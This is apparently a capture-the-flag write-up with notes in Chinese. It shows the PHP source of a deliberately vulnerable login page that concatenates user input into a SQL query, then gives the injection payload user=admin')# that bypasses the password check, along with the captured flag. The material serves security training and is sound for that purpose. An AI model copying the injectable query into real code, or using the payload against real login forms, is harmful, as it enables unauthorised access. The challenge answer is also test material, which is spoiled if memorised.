<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
例如本题双引号里面的都被解析了，所以不用闭合（带双引号）
直接输时是这种情况(发生了过滤)
所以我们直接注入
user=admin')#&pass=7321
只管user剩下的注释掉
Logged in! flag:nctf{ni_ye_hui_sql?}